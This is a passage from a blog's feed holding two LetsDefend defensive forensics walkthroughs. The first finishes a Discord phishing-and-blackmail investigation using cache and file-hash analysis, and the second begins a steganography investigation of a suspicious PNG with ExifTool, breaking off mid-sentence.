server?&#xA;&lt;/h3&gt;&lt;p&gt;Along with the server URL from the previous question, the attacker also states that the server has a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;two other employee&amp;rdquo;&#xA;in addition to the attacker and victim.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;just me and you and two other employee&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;My math might be terrible otherwise, but I know that 2+2=4.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/488d09ca827e18912fc76b1b34414564_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-md5-hash-of-the-attachment-file-that-the-victim-sent-to-the-attacker&#34;&gt;Question 6: What is the MD5 hash of the attachment file that the victim sent to the attacker?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s go back into &lt;em&gt;ChromeCacheView.&lt;/em&gt; This time, we are going to view the &lt;em&gt;JSON&lt;/em&gt; file for the server channel instead of the private chat. Let&amp;rsquo;s open the cache file with the size of 1,392.&lt;/p&gt;&#xA;&lt;p&gt;After browsing the contents of the chat, we can see the attackers are coercing the victim to prove that he is the right candidate for the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;job&amp;rdquo;&#xA;by asking for the details of some (presumably) confidential research.&lt;/p&gt;&#xA;&lt;p&gt;A short time later, we can see that the victim uploads the requested private data to the &lt;em&gt;Discord&lt;/em&gt; server in an archive file called &lt;em&gt;Private.7z&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/731068ae3ece81eb1d1feda164d122bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s pretty likely that the victim uploaded the data from his own device, so why don&amp;rsquo;t we check the image and simply search for the file name?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;810px&#34; data-flex-grow=&#34;337&#34; height=&#34;237&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/2a2e217b23bfc11306784742ab244627_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go, we found it in the user&amp;rsquo;s &lt;em&gt;Documents folder&lt;/em&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s grab the file hash of the archive. We can utilize the &lt;em&gt;HashCalc&lt;/em&gt; utility from the &lt;em&gt;Tools&lt;/em&gt; folder or leverage the &lt;em&gt;PowerShell Get-FileHash&lt;/em&gt; command_._&lt;/p&gt;&#xA;&lt;p&gt;For this walkthrough, I used the PowerShell option_._ Since the &lt;em&gt;Get-FileHash&lt;/em&gt; command defaults to using &lt;em&gt;SHA256&lt;/em&gt;, we&amp;rsquo;ll need to specify that we want the &lt;em&gt;MD5&lt;/em&gt; hash instead.&lt;/p&gt;&#xA;&lt;p&gt;Get-FileHash -Algorithm MD5 &lt;filename&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/09473dd44a43115a7308418ee7056e57_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay, now that we have the &lt;em&gt;MD5&lt;/em&gt; hash of the exfiltrated archive, let&amp;rsquo;s submit the answer and continue our analysis!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/6467cdb539be52c8dcefe3c4232c4584_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-victimscountry&#34;&gt;Question 7: What is the victim&amp;rsquo;s country?&#xA;&lt;/h3&gt;&lt;p&gt;Okay this one is a bit tricky to find. None of the &lt;em&gt;Discord&lt;/em&gt; chat data that we have discovered appears to have any details regarding geolocation for the victim.&lt;/p&gt;&#xA;&lt;p&gt;To save you some time, I tried extracting the attachment file in the 7z archive, analyzing the email headers for the communication between the attacker and victim, and going through the &lt;em&gt;Microsoft Edge&lt;/em&gt; cache for URLs related to a specific country. All of these came up without any evidence.&lt;/p&gt;&#xA;&lt;p&gt;Then, I remembered this is a &lt;em&gt;Discord&lt;/em&gt; challenge and went back to &lt;em&gt;ChromeCacheView&lt;/em&gt; and searched the cache for &amp;quot; # &amp;ldquo;location&amp;rdquo; instead of &amp;quot; # &amp;ldquo;message&amp;quot;like we did for &lt;strong&gt;Questions 4,5, &amp;amp; 6&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;820px&#34; data-flex-grow=&#34;341&#34; height=&#34;234&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/23d25c89f18620302d61cf1c138390d7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, this gives us a misleading result in the metadata. Let&amp;rsquo;s lean on the question hint to tell us where we went wrong:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;840px&#34; data-flex-grow=&#34;350&#34; height=&#34;112&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/71dd73e51042f77f7e62f815a9d70de3_MD5.png&#34; width=&#34;392&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Whoops! So, let&amp;rsquo;s pivot and try to search for &amp;quot; # &amp;ldquo;country&amp;quot;in our quick filter instead of &amp;quot; # &amp;ldquo;location&amp;rdquo;— This will give us more results with a second country code (Not Egypt) in the URLs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;727px&#34; data-flex-grow=&#34;303&#34; height=&#34;264&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/e0821f7d69d4b1ff516e9ff1602b159c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We might have stumbled there, but we figured it out. Great job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1306px&#34; data-flex-grow=&#34;544&#34; height=&#34;147&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/9aefeb3c5a5d07713f82744da17bc9e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-url-of-the-attachment-that-the-attacker-sent-to-thevictim&#34;&gt;Question 8: What is the URL of the attachment that the attacker sent to the victim?&#xA;&lt;/h3&gt;&lt;p&gt;After the victim ran the malicious file, there seems to be some follow-up chat in &lt;em&gt;Discord&lt;/em&gt; where the victim is reaching out to the attacker to no avail.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go back to his email where we can find another thread with the &lt;em&gt;Subject&lt;/em&gt; field &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;idk&amp;rdquo;&#xA;— where the attackers are blackmailing the victim. The attacker is threatening to tell the victim&amp;rsquo;s employer about the data leak unless they download and execute a file from a link in the email&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;463px&#34; data-flex-grow=&#34;193&#34; height=&#34;414&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/5b7a9a6b321ed16dc0e477e7dedf9fc3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Despite the victim initially protesting, it appears that they were afraid of losing their job&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;While out of scope for this challenge, we can check the victim&amp;rsquo;s browser history to see if we have any URL history.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;914px&#34; data-flex-grow=&#34;380&#34; height=&#34;210&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/afd3b8265059e7e40e217e1e579e121a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, the evidence suggests that the victim did access the payload sent by the attacker. After that, the SIEM alerted us to the malware being blocked by the victim&amp;rsquo;s endpoint antivirus software. Whew!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1342px&#34; data-flex-grow=&#34;559&#34; height=&#34;143&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-discord-forensics-challenge-walkthrough/df703a6839b445e18ab10879c021b211_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Great work! We successfully completed the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/discord-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Discord Forensics Challenge&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Our investigation led us to the discovery that the victim was lured to &lt;em&gt;Discord&lt;/em&gt; through a &lt;em&gt;phishing&lt;/em&gt; email with the promise of a job offer. The victim was then convinced to exfiltrate sensitive research data to the attackers on the &lt;em&gt;Discord&lt;/em&gt; server. This was followed by a blackmail attempt, coercing the victim to download and execute a malware payload in exchange for not disclosing the victim&amp;rsquo;s mistake to their employer. Having identified how the attack unfolded, we can now conclude our investigation.&lt;/p&gt;&#xA;&lt;p&gt;I appreciate you joining me in this investigation and reading along. I hope that you had as much fun as I did and learned something useful too!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for providing us with the opportunity to sharpen our skills in &lt;em&gt;Discord&lt;/em&gt; cache analysis! It was cool to see how we could utilize &lt;em&gt;ChromeCacheView&lt;/em&gt; beyond its typical applications and deepen our understanding of the artifacts left behind by &lt;em&gt;Discord&lt;/em&gt; that can be analyzed during incident response.&lt;/p&gt;&#xA;&lt;p&gt;Until next week — stay curious! Thanks!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;NirSoft ChromeCacheView:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.nirsoft.net/utils/chrome_cache_view.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.nirsoft.net/utils/chrome_cache_view.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK (Phishing):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1566/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Phishing, Technique T1566 — Enterprise | MITRE ATT&amp;amp;CK®&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft OST File Location:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://support.microsoft.com/en-us/office/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Introduction to Outlook Data Files (.pst and .ost) — Microsoft Support&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Finding Discord app chats in Windows:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn Get-FileHash:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/get-filehash?view=powershell-7.4&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — ImageStegano Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/</link>
            <pubDate>Sun, 12 May 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/237ae93ae605dbac7193c3336d934293_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — ImageStegano Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--imagestegano-challenge-walkthrough&#34;&gt;LetsDefend — ImageStegano Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-steganography-using-exiftool-and-psimage_decoderpy&#34;&gt;Investigating steganography using ExifTool and psimage_decoder.py&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;320px&#34; data-flex-grow=&#34;133&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/237ae93ae605dbac7193c3336d934293_MD5.png&#34; width=&#34;400&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/imagestegano&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Have you ever wondered about how malware can be hidden in an image? Well we&amp;rsquo;re about to explore the world of &lt;em&gt;steganography&lt;/em&gt; by tackling the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ImageStegano challenge&lt;/strong&gt;&lt;/a&gt; on &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;This is a challenge requiring us defenders to investigate an image file and determine if it contains malicious code hidden by using &lt;strong&gt;steganography.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now what is &lt;em&gt;steganography&lt;/em&gt; anyway? According to the &lt;a class=&#34;link&#34; href=&#34;https://isc.sans.edu/tools/glossary/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;_SANS In_ternet Storm Center&amp;rsquo;s Infosec Glossary&lt;/a&gt;, &lt;em&gt;steganography&lt;/em&gt; is the:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Methods of hiding the existence of a message or other data. This is different than cryptography, which hides the meaning of a message but does not hide the message itself. An example of a steganographic method is &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;invisible&amp;quot;&#xA;ink.&lt;/p&gt;&#xA;&lt;p&gt;So, whether you&amp;rsquo;re here to learn more about &lt;em&gt;steganography,&lt;/em&gt; explore some new tools, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend ImageStegano Challenge&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;ve stumbled on the right spot. I encourage you to follow along during your own investigation and use this post as a reference if you get stuck.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading along, let&amp;rsquo;s have some fun!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/imagestegano&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We are certain that there is something malicious in this image, but we do not know what it is. So we need you to investigate it and see if you can find any evidence.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;questions-1-2&#34;&gt;Questions 1 &amp;amp; 2:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;who-is-the---&#34;&gt;Who is the &amp;quot; # &amp;quot;&#xA;&lt;/h4&gt;&lt;p&gt;Device Manufacturer&amp;quot;&#xA;according to the metadata?&lt;/p&gt;&#xA;&lt;h4 id=&#34;what-is-the-cmmtype&#34;&gt;What is the CMM Type?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s start off the investigation by connecting to the virtual machine environment hosted on &lt;em&gt;LetsDefend,&lt;/em&gt; navigate to the &lt;em&gt;ChallengeFile&lt;/em&gt; folder on the &lt;em&gt;Desktop,&lt;/em&gt; and extracting the challenge file from the archive.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;528px&#34; data-flex-grow=&#34;220&#34; height=&#34;356&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/b4a1f288f88070bbc7c00b875edf0032_MD5.png&#34; width=&#34;784&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside, we find a seemingly innocuous &lt;em&gt;.png&lt;/em&gt; file, but do you notice something strange? The file size is nearly 65MB in size! This is definitely suspicious and requires some further investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;547px&#34; data-flex-grow=&#34;228&#34; height=&#34;343&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/f9fa7d19cadfcdc183c173cccd3ac2ca_MD5.png&#34; width=&#34;783&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question 1 and 2&lt;/strong&gt; are asking about the image &lt;em&gt;metadata,&lt;/em&gt; which is data &lt;em&gt;about&lt;/em&gt; the image, and not the image itself like color profiles and the capturing device details. To analyze this file&amp;rsquo;s &lt;em&gt;metadata&lt;/em&gt;, we will want to utilize something like &lt;em&gt;E&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://exiftool.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;xifTool&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;_A_ccording to the project&amp;rsquo;s website, &lt;em&gt;ExifTool&lt;/em&gt; is a:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;platform-independent Perl library plus a command-line application for reading, writing and editing meta information in a wide variety of files. ExifTool supports many different metadata formats including EXIF, GPS, IPTC, XMP, JFIF, GeoTIFF, ICC Profile, Photoshop IRB, FlashPix, AFCP and ID3, Lyrics3, as well as the maker notes of many digital cameras by Canon, Casio, DJI, FLIR, FujiFilm, GE, GoPro, HP, JVC/Victor, Kodak, Leaf, Minolta/Konica-Minolta, Motorola, Nikon, Nintendo, Olympus/Epson, Panasonic/Leica, Pentax/Asahi, Phase One, Reconyx, Ricoh, Samsung, Sanyo, Sigma/Foveon and Sony.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, this tool is used to extract &lt;em&gt;metadata&lt;/em&gt; from an image file for us to analyze!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a closer look at our analysis environment. Unfortunately, our &lt;em&gt;Windows&lt;/em&gt; environment does not have this tool installed for us to use. &lt;em&gt;ExifTool&lt;/em&gt; is typically installed within &lt;em&gt;Linux&lt;/em&gt; distros, however.&lt;/p&gt;&#xA;&lt;p&gt;Maybe you noticed the orange &lt;em&gt;Ubuntu Linux&lt;/em&gt; icon on the taskbar? This means that the analysis VM has &lt;em&gt;Ubuntu&lt;/em&gt; installed for use with the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/wsl/about&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;_Windows Subsystem for Linux (_WSL)&lt;/a&gt; which allows us to use &lt;em&gt;Linux&lt;/em&gt; tools in &lt;em&gt;Windows —&lt;/em&gt; very cool!&lt;/p&gt;&#xA;&lt;p&gt;So, we have a couple of options to access E_xifTool_ to analyze the image&amp;rsquo;s metadata:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;) Load into &lt;em&gt;Ubuntu&lt;/em&gt; and operate the CLI directly:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/trusty/en/man1/exiftool.1p.html&#34;  title=&#34;https://manpages.ubuntu.com/manpages/trusty/en/man1/exiftool.1p.html&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Ubuntu Manpage: exiftool — Read and write meta information in files&lt;/strong&gt;&#xA;_A command-line interface to Image::ExifTool, used for reading and writing meta information in a variety of file types&amp;hellip;_manpages.ubuntu.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/trusty/en/man1/exiftool.1p.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;319px&#34; data-flex-grow=&#34;133&#34; height=&#34;601&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/ae3261cfaebc1fedde56e60366b74116_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;2.) Or we can simply use the &lt;strong&gt;wsl&lt;/strong&gt; command in &lt;em&gt;PowerShell&lt;/em&gt; to access the &lt;em&gt;Ubuntu&lt;/em&gt; tool within the &lt;em&gt;PowerShell&lt;/em&gt; console directly! This will be the option we&amp;rsquo;ll use for this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;574px&#34; data-flex-grow=&#34;239&#34; height=&#34;334&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/46ae738d5cb3e190e8dcb5e2a5f787cf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll navigate to the directory containing the suspicious &lt;em&gt;.png&lt;/em&gt; file, and use the basic syntax to get an overview of the metadata contained within the image:&lt;/p&gt;&#xA;&lt;p&gt;wsl exiftool Sd6wF1A1v.png&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;207px&#34; data-flex-grow=&#34;86&#34; height=&#34;721&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/5d4b3b9f50f60058915ab4c525386b73_MD5.png&#34; width=&#34;624&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have used &lt;em&gt;ExifTool&lt;/em&gt; to view the &lt;em&gt;metadata&lt;/em&gt; we can find the information needed to answer &lt;strong&gt;Questions 1 &amp;amp; 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;741px&#34; data-flex-grow=&#34;308&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/6747a615891d92face563b2af9d185ef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-tool-that-created-the-payload-inside-theimage&#34;&gt;Question 3: What is the tool that created the payload inside the image?&#xA;&lt;/h3&gt;&lt;p&gt;This question will require some research since we don&amp;rsquo;t have any specific way of determining what application created this image from the &lt;em&gt;metadata&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Why don&amp;rsquo;t we look at the question hint as a jumping-off point:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1121px&#34; data-flex-grow=&#34;467&#34; height=&#34;104&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/f4bcd4d161d925718512df6f2859da69_MD5.png&#34; width=&#34;486&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Question 3 Hint&lt;/p&gt;&#xA;&lt;p&gt;Okay, let&amp;rsquo;s do some research and head over to _Google. W_e&amp;rsquo;ll search something basic like &amp;quot; # &amp;ldquo;image steganography powershell.&amp;ldquo;The first result seems very promising. If we click the link we are taken to the 